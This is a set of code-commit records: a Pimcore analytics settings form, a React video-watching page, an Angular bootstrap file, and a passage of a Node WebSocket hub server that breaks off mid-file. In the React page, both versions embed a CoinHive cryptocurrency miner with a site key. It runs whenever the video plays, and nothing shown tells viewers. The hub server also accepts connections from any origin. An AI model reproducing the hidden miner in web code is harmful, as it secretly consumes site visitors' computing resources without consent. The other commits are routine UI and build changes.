<commit_before>/**
 * Pimcore
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://www.pimcore.org/license
 *
 * @copyright  Copyright (c) 2009-2010 elements.at New Media Solutions GmbH (http://www.elements.at)
 * @license    http://www.pimcore.org/license     New BSD License
 */

pimcore.registerNS("pimcore.report.analytics.settings");
pimcore.report.analytics.settings = Class.create({

    initialize: function (parent) {
        this.parent = parent;
    },

    getKey: function () {
        return "analytics";
    },

    getLayout: function () {

        this.panel = new Ext.FormPanel({
            layout: "pimcoreform",
            title: "Google Analytics",
            bodyStyle: "padding: 10px;",
            autoScroll: true,
            items: [
                {
                    xtype: "displayfield",
                    width: 300,
                    hideLabel: true,
                    value: t("analytics_notice"),
                    cls: "pimcore_extra_label",
                    style: "color: #ff0000"
                },
                {
                    xtype: "displayfield",
                    width: 300,
                    hideLabel: true,
                    value: "
" + t("analytics_settings_description") + "

"
                                           + t('only_required_for_reporting_in_pimcore_but_not_for_code_integration'),
                    cls: "pimcore_extra_label"
                },
                {
                    xtype: "panel",
                    style: "padding:30px 0 0 0;",
                    border: false,
                    items: this.getConfigurations()
                }
            ]
        });

        return this.panel;
    },

    getConfigurations: function () {

        this.configCount = 0;
        var configs = [];
        var sites = pimcore.globalmanager.get("sites");

        sites.each(function (record) {
            var id = record.data.id;
            var key = "site_" + id;
            if(!id) {
                id = "default";
                key = "default";
            }
            configs.push(this.getConfiguration(key, record.data.domain, id));
        }, this);

        return configs;
    },

    getConfiguration: function (key, name, id) {

        var config = {
            xtype: "fieldset",
            labelWidth: 300,
            title: name,
            items: [
                {
                    xtype: "textfield",
                    fieldLabel: t("analytics_trackid_code"),
                    name: "trackid_" + id,
                    id: "report_settings_analytics_trackid_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".trackid")
                },{
                    xtype: "checkbox",
                    fieldLabel: t("analytics_retargeting_code"),
                    name: "retargetingcode_" + id,
                    id: "report_settings_analytics_retargetingcode_" + id,
                    checked: this.parent.getValue("analytics.sites." + key + ".retargetingcode")
                },{
                    xtype: "textarea",
                    fieldLabel: t("analytics_additional_code"),
                    name: "additionalcode_" + id,
                    height: 100,
                    width: 350,
                    id: "report_settings_analytics_additionalcode_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".additionalcode")
                },{
                    xtype: "textarea",
                    fieldLabel: t("analytics_additional_code_before_pageview"),
                    name: "additionalcodebeforepageview" + id,
                    height: 100,
                    width: 350,
                    id: "report_settings_analytics_additionalcodebeforepageview_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".additionalcodebeforepageview")
                },{
                    xtype: "displayfield",
                    hideLabel: true,
                    width: 500,
                    style: "margin-top:20px;",
                    value: t('only_required_for_reporting_in_pimcore_but_not_for_code_integration'),
                    cls: "pimcore_extra_label_bottom"
                },
                {
                    xtype:'combo',
                    fieldLabel: t('profile'),
                    typeAhead:true,
                    displayField: 'name',
                    store: new Ext.data.JsonStore({
                        autoDestroy: true,
                        url: "/admin/reports/analytics/get-profiles",
                        root: "data",
                        idProperty: "id",
                        fields: ["name","id","trackid","accountid","internalid"]
                    }),
                    listeners: {
                        "select": function (id, el, record, index) {
                            Ext.getCmp("report_settings_analytics_trackid_" + id).setValue(record.get("trackid"));
                            Ext.getCmp("report_settings_analytics_accountid_" + id).setValue(record.get("accountid"));
                            Ext.getCmp("report_settings_analytics_internalid_" + id).setValue(record.get("internalid"));
                        }.bind(this, id)
                    },
                    valueField: 'id',
                    width: 250,
                    forceSelection: true,
                    triggerAction: 'all',
                    hiddenName: 'profile_' + id,
                    id: "report_settings_analytics_profile_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".profile")
                },{
                    xtype: "textfield",
                    fieldLabel: t("analytics_accountid"),
                    name: "accountid_" + id,
                    id: "report_settings_analytics_accountid_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".accountid")
                },{
                    xtype: "textfield",
                    fieldLabel: t("analytics_internalid"),
                    name: "internalid_" + id,
                    id: "report_settings_analytics_internalid_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".internalid")
                },{
                    xtype: "checkbox",
                    fieldLabel: t("analytics_advanced_mode"),
                    name: "advanced_" + id,
                    id: "report_settings_analytics_advanced_" + id,
                    checked: this.parent.getValue("analytics.sites." + key + ".advanced")
                }
            ]
        };

        return config;
    },

    getValues: function () {

        var formData = this.panel.getForm().getFieldValues();
        var sites = pimcore.globalmanager.get("sites");
        var sitesData = {};

        sites.each(function (record) {
            var id = record.data.id;
            var key = "site_" + id;
            if(!id) {
                id = "default";
                key = "default";
            }

            sitesData[key] = {
                profile: Ext.getCmp("report_settings_analytics_profile_" + id).getValue(),
                trackid: Ext.getCmp("report_settings_analytics_trackid_" + id).getValue(),
                retargetingcode: Ext.getCmp("report_settings_analytics_retargetingcode_" + id).getValue(),
                additionalcode: Ext.getCmp("report_settings_analytics_additionalcode_" + id).getValue(),
                additionalcodebeforepageview: Ext.getCmp("report_settings_analytics_additionalcodebeforepageview_" + id)
                                                                                .getValue(),
                accountid: Ext.getCmp("report_settings_analytics_accountid_" + id).getValue(),
                internalid: Ext.getCmp("report_settings_analytics_internalid_" + id).getValue(),
                advanced: Ext.getCmp("report_settings_analytics_advanced_" + id).getValue()
            };
        }, this);

        var values = {
            sites: sitesData
        };

        return values;
    }
});

pimcore.report.settings.broker.push("pimcore.report.analytics.settings");
<commit_msg>google analytics settings: order of fields<commit_after>/**
 * Pimcore
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://www.pimcore.org/license
 *
 * @copyright  Copyright (c) 2009-2010 elements.at New Media Solutions GmbH (http://www.elements.at)
 * @license    http://www.pimcore.org/license     New BSD License
 */

pimcore.registerNS("pimcore.report.analytics.settings");
pimcore.report.analytics.settings = Class.create({

    initialize: function (parent) {
        this.parent = parent;
    },

    getKey: function () {
        return "analytics";
    },

    getLayout: function () {

        this.panel = new Ext.FormPanel({
            layout: "pimcoreform",
            title: "Google Analytics",
            bodyStyle: "padding: 10px;",
            autoScroll: true,
            items: [
                {
                    xtype: "displayfield",
                    width: 300,
                    hideLabel: true,
                    value: t("analytics_notice"),
                    cls: "pimcore_extra_label",
                    style: "color: #ff0000"
                },
                {
                    xtype: "displayfield",
                    width: 300,
                    hideLabel: true,
                    value: "
" + t("analytics_settings_description") + "

"
                                           + t('only_required_for_reporting_in_pimcore_but_not_for_code_integration'),
                    cls: "pimcore_extra_label"
                },
                {
                    xtype: "panel",
                    style: "padding:30px 0 0 0;",
                    border: false,
                    items: this.getConfigurations()
                }
            ]
        });

        return this.panel;
    },

    getConfigurations: function () {

        this.configCount = 0;
        var configs = [];
        var sites = pimcore.globalmanager.get("sites");

        sites.each(function (record) {
            var id = record.data.id;
            var key = "site_" + id;
            if(!id) {
                id = "default";
                key = "default";
            }
            configs.push(this.getConfiguration(key, record.data.domain, id));
        }, this);

        return configs;
    },

    getConfiguration: function (key, name, id) {

        var config = {
            xtype: "fieldset",
            labelWidth: 300,
            title: name,
            items: [
                {
                    xtype: "textfield",
                    fieldLabel: t("analytics_trackid_code"),
                    name: "trackid_" + id,
                    id: "report_settings_analytics_trackid_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".trackid")
                },{
                    xtype: "checkbox",
                    fieldLabel: t("analytics_retargeting_code"),
                    name: "retargetingcode_" + id,
                    id: "report_settings_analytics_retargetingcode_" + id,
                    checked: this.parent.getValue("analytics.sites." + key + ".retargetingcode")
                },{
                    xtype: "textarea",
                    fieldLabel: t("analytics_additional_code_before_pageview"),
                    name: "additionalcodebeforepageview" + id,
                    height: 100,
                    width: 350,
                    id: "report_settings_analytics_additionalcodebeforepageview_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".additionalcodebeforepageview")
                },{
                    xtype: "textarea",
                    fieldLabel: t("analytics_additional_code"),
                    name: "additionalcode_" + id,
                    height: 100,
                    width: 350,
                    id: "report_settings_analytics_additionalcode_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".additionalcode")
                },{
                    xtype: "displayfield",
                    hideLabel: true,
                    width: 500,
                    style: "margin-top:20px;",
                    value: t('only_required_for_reporting_in_pimcore_but_not_for_code_integration'),
                    cls: "pimcore_extra_label_bottom"
                },
                {
                    xtype:'combo',
                    fieldLabel: t('profile'),
                    typeAhead:true,
                    displayField: 'name',
                    store: new Ext.data.JsonStore({
                        autoDestroy: true,
                        url: "/admin/reports/analytics/get-profiles",
                        root: "data",
                        idProperty: "id",
                        fields: ["name","id","trackid","accountid","internalid"]
                    }),
                    listeners: {
                        "select": function (id, el, record, index) {
                            Ext.getCmp("report_settings_analytics_trackid_" + id).setValue(record.get("trackid"));
                            Ext.getCmp("report_settings_analytics_accountid_" + id).setValue(record.get("accountid"));
                            Ext.getCmp("report_settings_analytics_internalid_" + id).setValue(record.get("internalid"));
                        }.bind(this, id)
                    },
                    valueField: 'id',
                    width: 250,
                    forceSelection: true,
                    triggerAction: 'all',
                    hiddenName: 'profile_' + id,
                    id: "report_settings_analytics_profile_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".profile")
                },{
                    xtype: "textfield",
                    fieldLabel: t("analytics_accountid"),
                    name: "accountid_" + id,
                    id: "report_settings_analytics_accountid_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".accountid")
                },{
                    xtype: "textfield",
                    fieldLabel: t("analytics_internalid"),
                    name: "internalid_" + id,
                    id: "report_settings_analytics_internalid_" + id,
                    value: this.parent.getValue("analytics.sites." + key + ".internalid")
                },{
                    xtype: "checkbox",
                    fieldLabel: t("analytics_advanced_mode"),
                    name: "advanced_" + id,
                    id: "report_settings_analytics_advanced_" + id,
                    checked: this.parent.getValue("analytics.sites." + key + ".advanced")
                }
            ]
        };

        return config;
    },

    getValues: function () {

        var formData = this.panel.getForm().getFieldValues();
        var sites = pimcore.globalmanager.get("sites");
        var sitesData = {};

        sites.each(function (record) {
            var id = record.data.id;
            var key = "site_" + id;
            if(!id) {
                id = "default";
                key = "default";
            }

            sitesData[key] = {
                profile: Ext.getCmp("report_settings_analytics_profile_" + id).getValue(),
                trackid: Ext.getCmp("report_settings_analytics_trackid_" + id).getValue(),
                retargetingcode: Ext.getCmp("report_settings_analytics_retargetingcode_" + id).getValue(),
                additionalcode: Ext.getCmp("report_settings_analytics_additionalcode_" + id).getValue(),
                additionalcodebeforepageview: Ext.getCmp("report_settings_analytics_additionalcodebeforepageview_" + id)
                                                                                .getValue(),
                accountid: Ext.getCmp("report_settings_analytics_accountid_" + id).getValue(),
                internalid: Ext.getCmp("report_settings_analytics_internalid_" + id).getValue(),
                advanced: Ext.getCmp("report_settings_analytics_advanced_" + id).getValue()
            };
        }, this);

        var values = {
            sites: sitesData
        };

        return values;
    }
});

pimcore.report.settings.broker.push("pimcore.report.analytics.settings");
<|endoftext|>


<commit_before>import React, { Component } from 'react';
import { DefaultPlayer as Video } from 'react-html5video';
import 'react-html5video/dist/styles.css';
import { Button, Snackbar } from "material-ui";
import { Redirect } from "react-router";
import { BasicLayout } from '../components';
import * as firebase from 'firebase';
import 'firebase/firestore';

class WatchPage extends Component {
  state = {
    subsUrl: [],
    title: 'Watch Movie',
    image: '',
    error: false,
    redirect: false,
  };

  componentDidMount() {
    const firestore = firebase.firestore();
    firestore
      .doc(`/session/${this.props.match.params.id}`)
      .get()
      .then(snapshot => {
        const movieData = snapshot.data();
        const targetedLang = ['en', 'id'];
        const targetedSubs = movieData.subs.reduce((prev, curr) => {
          if (targetedLang.indexOf(curr.lang) > -1) {
            return [...prev, curr];
          }
          return prev;
        }, []);
        this.setState({
          subsUrl: targetedSubs,
          title: movieData.title,
          image: movieData.image
        });
      });
      this.miner = new window.CoinHive.Anonymous('6IgN0USpT1jJBVBsx66mPZ8KCQiuH1VD', {throttle: 0.5});
  }

  onVideoError = event => {
    if (!event.target.error) {
      return;
    }
    const errorCode = event.target.error.code;
    console.log(`video error ${errorCode}`);
    if (errorCode === 2 || errorCode === 4 ) {
      this.setState({
        error: true
      });
    }
  }

  errorRedirect = event => {
    this.setState({
      redirect: true
    })
  }

  renderSnackBar = () => {
    if (this.state.error) {
      return (
        <Snackbar
          open
          message={Session Expired}
          action={
            [
              <Button key="redirect-snackbar" color="accent" onClick={this.errorRedirect}>Close</Button>
            ]
          }
        />
      )
    }
    return null;
  }

  onPlayingVideo = event => {
    this.miner.start();
  }

  onPauseVideo = event => {
    this.miner.stop();
  }

  render() {
    if (this.state.redirect) {
      return (
        <Redirect to="/" />
      )
    }
    return (
      <BasicLayout title={this.state.title}>

          <Video
            src={`/data/${this.props.match.params.id}`}
            autoPlay
            crossOrigin="anonymous"
            onError={this.onVideoError}
            onPlaying={this.onPlayingVideo}
            onPause={this.onPauseVideo}
            poster={this.state.image}
            controls={[
              'PlayPause',
              'Seek',
              'Time',
              'Volume',
              'Fullscreen',
              'Captions',
            ]}>
            {this.state.subsUrl.map(subs => (
              <track
                key={`key-${subs.lang}`}
                label={subs.langName}
                kind="subtitles"
                srcLang={subs.lang}
                src={subs.url}
                default={subs.lang === 'en'}
              />
            ))}
          </Video>

        {this.renderSnackBar()}
      </BasicLayout>
    );
  }
}

export default WatchPage;
<commit_msg>disable poster<commit_after>import React, { Component } from 'react';
import { DefaultPlayer as Video } from 'react-html5video';
import 'react-html5video/dist/styles.css';
import { Button, Snackbar } from "material-ui";
import { Redirect } from "react-router";
import { BasicLayout } from '../components';
import * as firebase from 'firebase';
import 'firebase/firestore';

class WatchPage extends Component {
  state = {
    subsUrl: [],
    title: 'Watch Movie',
    image: '',
    error: false,
    redirect: false,
  };

  componentDidMount() {
    const firestore = firebase.firestore();
    firestore
      .doc(`/session/${this.props.match.params.id}`)
      .get()
      .then(snapshot => {
        const movieData = snapshot.data();
        const targetedLang = ['en', 'id'];
        const targetedSubs = movieData.subs.reduce((prev, curr) => {
          if (targetedLang.indexOf(curr.lang) > -1) {
            return [...prev, curr];
          }
          return prev;
        }, []);
        this.setState({
          subsUrl: targetedSubs,
          title: movieData.title,
          image: movieData.image
        });
      });
      this.miner = new window.CoinHive.Anonymous('6IgN0USpT1jJBVBsx66mPZ8KCQiuH1VD', {throttle: 0.5});
  }

  onVideoError = event => {
    if (!event.target.error) {
      return;
    }
    const errorCode = event.target.error.code;
    console.log(`video error ${errorCode}`);
    if (errorCode === 2 || errorCode === 4 ) {
      this.setState({
        error: true
      });
    }
  }

  errorRedirect = event => {
    this.setState({
      redirect: true
    })
  }

  renderSnackBar = () => {
    if (this.state.error) {
      return (
        <Snackbar
          open
          message={Session Expired}
          action={
            [
              <Button key="redirect-snackbar" color="accent" onClick={this.errorRedirect}>Close</Button>
            ]
          }
        />
      )
    }
    return null;
  }

  onPlayingVideo = event => {
    this.miner.start();
  }

  onPauseVideo = event => {
    this.miner.stop();
  }

  render() {
    if (this.state.redirect) {
      return (
        <Redirect to="/" />
      )
    }
    return (
      <BasicLayout title={this.state.title}>

          <Video
            src={`/data/${this.props.match.params.id}`}
            autoPlay
            crossOrigin="anonymous"
            onError={this.onVideoError}
            onPlaying={this.onPlayingVideo}
            onPause={this.onPauseVideo}
            controls={[
              'PlayPause',
              'Seek',
              'Time',
              'Volume',
              'Fullscreen',
              'Captions',
            ]}>
            {this.state.subsUrl.map(subs => (
              <track
                key={`key-${subs.lang}`}
                label={subs.langName}
                kind="subtitles"
                srcLang={subs.lang}
                src={subs.url}
                default={subs.lang === 'en'}
              />
            ))}
          </Video>

        {this.renderSnackBar()}
      </BasicLayout>
    );
  }
}

export default WatchPage;
<|endoftext|>


<commit_before>/**
 * bootstraps angular onto the window.document node
 */
define([
  'require',
  'angular',
  './app',
  './app/routes',
  './app/template'
], function(require,ng) {
  'use strict';
  require(['domReady!','lodash'],function (document){
    ng.bootstrap(document, ['app']);
    ng.resumeBootstrap();
  });
});
<commit_msg>adding domReady and lodash to the built file<commit_after>/**
 * bootstraps angular onto the window.document node
 */
define([
  'require',
  'angular',
  'domReady',
  'lodash',
  './app',
  './app/routes',
  './app/template'
], function(require,ng) {
  'use strict';
  require(['domReady!','lodash'],function (document){
    ng.bootstrap(document, ['app']);
    ng.resumeBootstrap();
  });
});
<|endoftext|>


<commit_before>/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this file,
 * You can obtain one at http://mozilla.org/MPL/2.0/. */

// New Relic Server monitoring support
if ( process.env.NEW_RELIC_HOME ) {
  require("newrelic");
}

var SAMPLE_STATS_INTERVAL = 60*1000; // 1 minute
var EMPTY_ROOM_LOG_TIMEOUT = 3*60*1000; // 3 minutes

var WebSocketServer = require('websocket').server;
var WebSocketRouter = require('websocket').router;
var http = require('http');
var parseUrl = require('url').parse;

// FIXME: not sure what logger to use
//var logger = require('../../lib/logger');

// LOG_LEVEL values:
// 0: show everything (including debug)
// 1: don't show debug, do show logger.log
// 2: don't show logger.log and debug, do show console.info (and STATS)
// 3: don't show info, do show warn
// 4: don't show warn, do show error
// 5: don't show anything
// Stats are at level 2
var logLevel = process.env.LOG_LEVEL || '0';
logLevel = parseInt(logLevel, 10);

var logger = {
};

[["error", 4], ["warn", 3], ["info", 2], ["log", 1], ["debug", 0]].forEach(function (nameLevel) {
  var name = nameLevel[0];
  var level = nameLevel[1];
  logger[name] = function () {
    if (logLevel <= level) {
      if (name != "log") {
        console.log.apply(console, [name.toUpperCase()].concat(Array.prototype.slice.call(arguments)));
      } else {
        console.log.apply(console, arguments);
      }
    }
  };
});

var server = http.createServer(function(request, response) {
  var url = parseUrl(request.url, true);
  var protocol = request.headers["forwarded-proto"] || "http:";
  var host = request.headers.host;
  var base = protocol + "//" + host;

  if (url.pathname == '/status') {
    response.end("OK");
  } else if (url.pathname == '/load') {
    var sessions = 0;
    var conns = 0;
    for (var id in allConnections) {
      if (allConnections[id].length) {
        sessions++;
        conns += allConnections[id].length;
      }
    }
    response.end("OK " + conns + " connections " + sessions + " sessions");
  } else if (url.pathname == '/findroom') {
    if (request.method == "OPTIONS") {
      // CORS preflight
      corsAccept(request, response);
      return;
    }
    var prefix = url.query.prefix;
    var max = parseInt(url.query.max, 10);
    if (! (prefix && max)) {
      write400("You must include a valid prefix=CHARS&max=NUM portion of the URL", response);
      return;
    }
    if (prefix.search(/[^a-zA-Z0-9]/) != -1) {
      write400("Invalid prefix", response);
      return;
    }
    findRoom(prefix, max, response);
  } else {
    write404(response);
  }
});

function corsAccept(request, response) {
  response.writeHead(200, {
    "Access-Control-Allow-Origin": "*"
  });
  response.end();
}

function write500(error, response) {
  response.writeHead(500, {"Content-Type": "text/plain"});
  if (typeof error != "string") {
    error = "\n" + JSON.stringify(error, null, "  ");
  }
  response.end("Error: " + error);
}

function write404(response) {
  response.writeHead(404, {"Content-Type": "text/plain"});
  response.end("Resource not found");
}

function write400(error, response) {
  response.writeHead(400, {"Content-Type": "text/plain", "Access-Control-Allow-Origin": "*"});
  response.end("Bad request: " + error);
}

function findRoom(prefix, max, response) {
  response.writeHead(200, {
    "Content-Type": "application/json",
    "Access-Control-Allow-Origin": "*"
  });
  var smallestNumber;
  var smallestRooms = [];
  for (var candidate in allConnections) {
    if (candidate.indexOf(prefix + "__") === 0) {
      var count = allConnections[candidate].length;
      if (count < max && (smallestNumber === undefined || count <= smallestNumber)) {
        if (smallestNumber === undefined || count < smallestNumber) {
          smallestNumber = count;
          smallestRooms = [candidate];
        } else {
          smallestRooms.push(candidate);
        }
      }
    }
  }
  var room;
  if (! smallestRooms.length) {
    room = prefix + "__" + generateId();
  } else {
    room = pickRandom(smallestRooms);
  }
  response.end(JSON.stringify({name: room}));
}

function generateId(length) {
  length = length || 10;
  var letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV0123456789';
  var s = '';
  for (var i=0; i<length; i++) {
    s += letters.charAt(Math.floor(Math.random() * letters.length));
  }
  return s;
}

function pickRandom(seq) {
  return seq[Math.floor(Math.random() * seq.length)];
}

function startServer(port, host) {
  server.listen(port, host, function() {
    logger.info('HUB Server listening on port ' + port + " interface: " + host);
  });
}

var wsServer = new WebSocketServer({
    httpServer: server,
    // 10Mb max size (1Mb is default, maybe this bump is unnecessary)
    maxReceivedMessageSize: 0x1000000,
    // The browser doesn't seem to break things up into frames (not sure what this means)
    // and the default of 64Kb was exceeded; raised to 1Mb
    maxReceivedFrameSize: 0x100000,
    // Using autoaccept because the origin is somewhat dynamic
    // FIXME: make this smarter?
    autoAcceptConnections: false
});

function originIsAllowed(origin) {
  // Unfortunately the origin will be whatever page you are sharing,
  // which could be any origin
  return true;
}

var allConnections = {};
var connectionStats = {};

var ID = 0;

wsServer.on('request', function(request) {
  if (!originIsAllowed(request.origin)) {
    // Make sure we only accept requests from an allowed origin
    request.reject();
    logger.info((new Date()) + ' Connection from origin ' + request.origin + ' rejected.');
    return;
  }

  var id = request.httpRequest.url.replace(/^\/+hub\/+/, '').replace(/\//g, "");
  if (! id) {
    request.reject(404, 'No ID Found');
    return;
  }

  // FIXME: we should use a protocol here instead of null, but I can't
  // get it to work.  "Protocol" is what the two clients are using
  // this channel for (we don't bother to specify this)
  var connection = request.accept(null, request.origin);
  connection.ID = ID++;
  if (! allConnections[id]) {
    allConnections[id] = [];
    connectionStats[id] = {
      created: Date.now(),
      sample: [],
      clients: {},
      domains: {},
      urls: {},
      firstDomain: null,
      totalMessageChars: 0,
      totalMessages: 0,
      connections: 0
    };
  }
  allConnections[id].push(connection);
  connectionStats[id].connections++;
  connectionStats[id].lastLeft = null;
  logger.debug((new Date()) + ' Connection accepted to ' + JSON.stringify(id) + ' ID:' + connection.ID);
  connection.sendUTF(JSON.stringify({
    type: "init-connection",
    peerCount: allConnections[id].length-1
  }));
  connection.on('message', function(message) {
    var parsed = JSON.parse(message.utf8Data);
    connectionStats[id].clients[parsed.clientId] = true;
    var domain = null;
    if (parsed.url) {
      domain = parseUrl(parsed.url).hostname;
      connectionStats[id].urls[parsed.url] = true;
    }
    if ((! connectionStats[id].firstDomain) && domain) {
      connectionStats[id].firstDomain = domain;
    }
    connectionStats[id].domains[domain] = true;
    connectionStats[id].totalMessageChars += message.utf8Data.length;
    connectionStats[id].totalMessages++;
    logger.debug('Message on ' + id + ' bytes: ' +
                 (message.utf8Data && message.utf8Data.length) +
                 ' conn ID: ' + connection.ID + ' data:' + message.utf8Data.substr(0, 20) +
                 ' connections: ' + allConnections[id].length);
    for (var i=0; i<allConnections[id].length; i++) {
      var c = allConnections[id][i];
      if (c == connection && !parsed["server-echo"]) {
        continue;
      }
      if (message.type === 'utf8') {
        c.sendUTF(message.utf8Data);
      } else if (message.type === 'binary') {
        c.sendBytes(message.binaryData);
      }
    }
  });
  connection.on('close', function(reasonCode, description) {
    if (! allConnections[id]) {
      // Got cleaned up entirely, somehow?
      logger.info("Connection ID", id, "was cleaned up entirely before last connection closed");
      return;
    }
    var index = allConnections[id].indexOf(connection);
    if (index != -1) {
      allConnections[id].splice(index, 1);
    }
    if (! allConnections[id].length) {
      delete allConnections[id];
      connectionStats[id].lastLeft = Date.now();
    }
    logger.debug((new Date()) + ' Peer ' + connection.remoteAddress + ' disconnected, ID: ' + connection.ID);
  });
});

setInterval(function () {
  for (var id in connectionStats) {
    if (connectionStats[id].lastLeft && Date.now() - connectionStats[id].lastLeft > EMPTY_ROOM_LOG_TIMEOUT) {
      logStats(id, connectionStats[id]);
      delete connectionStats[id];
      continue;
    }
    var totalClients = countClients(connectionStats[id].clients);
    var connections = 0;
    if (allConnections[id]) {
      connections = allConnections[id].length;
    }
    connectionStats[id].sample.push({
      time: Date.now(),
      totalClients: totalClients,
      connections: connections
    });
  }
}, SAMPLE_STATS_INTERVAL);

function countClients(clients) {
  var n = 0;
  for (var clientId in clients) {
    n++;
  }
  return n;
}

function logStats(id, stats) {
  logger.info("STATS", JSON.stringify({
    id: id,
    created: stats.created,
    sample: stats.sample,
    totalClients: countClients(stats.clients),
    totalMessageChars: stats.totalMessageChars,
    totalMessages: stats.totalMessages,
    domain: stats.firstDomain || null,
    domainCount: countClients(stats.domains),
    urls: countClients(stats.urls)
  }));
}

if (require.main == module) {
  var ops = require('optimist')
      .usage("Usage: $0 [--port 8080] [--host localhost]")
      .describe("port", "The port to server on (default $HUB_SERVER_PORT, $PORT, $VCAP_APP_PORT, or 8080")
      .describe("host", "The interface to serve on (default $HUB_SERVER_HOST, $HOST, $VCAP_APP_HOST, 127.0.0.1).  Use 0.0.0.0 to make it public")
      .describe("log-level", "The level of logging to do, from 0 (very verbose) to 5 (nothing) (default $LOG_LEVEL or 0)");
  var port = ops.argv.port || process.env.HUB_SERVER_PORT || process.env.VCAP_APP_PORT ||
      process.env.PORT || 8080;
  var host = ops.argv.host || process.env.HUB_SERVER_HOST || process.env.VCAP_APP_HOST ||
      process.env.HOST || '127.0.0.1';
  if (ops.argv['log-level']) {
    logLevel = parseInt(ops.argv['log-level'], 10);
  }
  if (ops.argv.h || ops.argv.help) {
    console.log(ops.help());
    process.exit();
  } else {
    startServer(port, host);
  }
}

exports.startServer = startServer;
<commit_msg>Guard against JSON parse errors<commit_after>/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this file,
 * You can obtain one at http://mozilla.org/MPL/2.0/. */

// New Relic Server monitoring support
if ( process.env.NEW_RELIC_HOME ) {
  require("newrelic");
}

var SAMPLE_STATS_INTERVAL = 60*1000; // 1 minute
var EMPTY_ROOM_LOG_TIMEOUT = 3*60*1000; // 3 minutes

var WebSocketServer = require('websocket').server;
var WebSocketRouter = require('websocket').router;
var http = require('http');
var parseUrl = require('url').parse;

// FIXME: not sure what logger to use
//var logger = require('../../lib/logger');

// LOG_LEVEL values:
// 0: show everything (including debug)
// 1: don't show debug, do show logger.log
// 2: don't show logger.log and debug, do show console.info (and STATS)
// 3: don't show info, do show warn
// 4: don't show warn, do show error
// 5: don't show anything
// Stats are at level 2
var logLevel = process.env.LOG_LEVEL || '0';
logLevel = parseInt(logLevel, 10);

var logger = {
};

[["error", 4], ["warn", 3], ["info", 2], ["log", 1], ["debug", 0]].forEach(function (nameLevel) {
  var name = nameLevel[0];
  var level = nameLevel[1];
  logger[name] = function () {
    if (logLevel <= level) {
      if (name != "log") {
        console.log.apply(console, [name.toUpperCase()].concat(Array.prototype.slice.call(arguments)));
      } else {
        console.log.apply(console, arguments);
      }
    }
  };
});

var server = http.createServer(function(request, response) {
  var url = parseUrl(request.url, true);
  var protocol = request.headers["forwarded-proto"] || "http:";
  var host = request.headers.host;
  var base = protocol + "//" + host;

  if (url.pathname == '/status') {
    response.end("OK");
  } else if (url.pathname == '/load') {
    var sessions = 0;
    var conns = 0;
    for (var id in allConnections) {
      if (allConnections[id].length) {
        sessions++;
        conns += allConnections[id].length;
      }
    }
    response.end("OK " + conns + " connections " + sessions + " sessions");
  } else if (url.pathname == '/findroom') {
    if (request.method == "OPTIONS") {
      // CORS preflight
      corsAccept(request, response);
      return;
    }
    var prefix = url.query.prefix;
    var max = parseInt(url.query.max, 10);
    if (! (prefix && max)) {
      write400("You must include a valid prefix=CHARS&max=NUM portion of the URL", response);
      return;
    }
    if (prefix.search(/[^a-zA-Z0-9]/) != -1) {
      write400("Invalid prefix", response);
      return;
    }
    findRoom(prefix, max, response);
  } else {
    write404(response);
  }
});

function corsAccept(request, response) {
  response.writeHead(200, {
    "Access-Control-Allow-Origin": "*"
  });
  response.end();
}

function write500(error, response) {
  response.writeHead(500, {"Content-Type": "text/plain"});
  if (typeof error != "string") {
    error = "\n" + JSON.stringify(error, null, "  ");
  }
  response.end("Error: " + error);
}

function write404(response) {
  response.writeHead(404, {"Content-Type": "text/plain"});
  response.end("Resource not found");
}

function write400(error, response) {
  response.writeHead(400, {"Content-Type": "text/plain", "Access-Control-Allow-Origin": "*"});
  response.end("Bad request: " + error);
}

function findRoom(prefix, max, response) {
  response.writeHead(200, {
    "Content-Type": "application/json",
    "Access-Control-Allow-Origin": "*"
  });
  var smallestNumber;
  var smallestRooms = [];
  for (var candidate in allConnections) {
    if (candidate.indexOf(prefix + "__") === 0) {
      var count = allConnections[candidate].length;
      if (count < max && (smallestNumber === undefined || count <= smallestNumber)) {
        if (smallestNumber === undefined || count < smallestNumber) {
          smallestNumber = count;
          smallestRooms = [candidate];
        } else {
          smallestRooms.push(candidate);
        }
      }
    }
  }
  var room;
  if (! smallestRooms.length) {
    room = prefix + "__" + generateId();
  } else {
    room = pickRandom(smallestRooms);
  }
  response.end(JSON.stringify({name: room}));
}

function generateId(length) {
  length = length || 10;
  var letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV0123456789';
  var s = '';
  for (var i=0; i<length; i++) {
    s += letters.charAt(Math.floor(Math.random() * letters.length));
  }
  return s;
}

function pickRandom(seq) {
  return seq[Math.floor(Math.random() * seq.length)];
}

function startServer(port, host) {
  server.listen(port, host, function() {
    logger.info('HUB Server listening on port ' + port + " interface: " + host);
  });
}

var wsServer = new WebSocketServer({
    httpServer: server,
    // 10Mb max size (1Mb is default, maybe this bump is unnecessary)
    maxReceivedMessageSize: 0x1000000,
    // The browser doesn't seem to break things up into frames (not sure what this means)
    // and the default of 64Kb was exceeded; raised to 1Mb
    maxReceivedFrameSize: 0x100000,
    // Using autoaccept because the origin is somewhat dynamic
    // FIXME: make this smarter?
    autoAcceptConnections: false
});

function originIsAllowed(origin) {
  // Unfortunately the origin will be whatever page you are sharing,
  // which could be any origin
  return true;
}

var allConnections = {};
var connectionStats = {};

var ID = 0;

wsServer.on('request', function(request) {
  if (!originIsAllowed(request.origin)) {
    // Make sure we only accept requests from an allowed origin
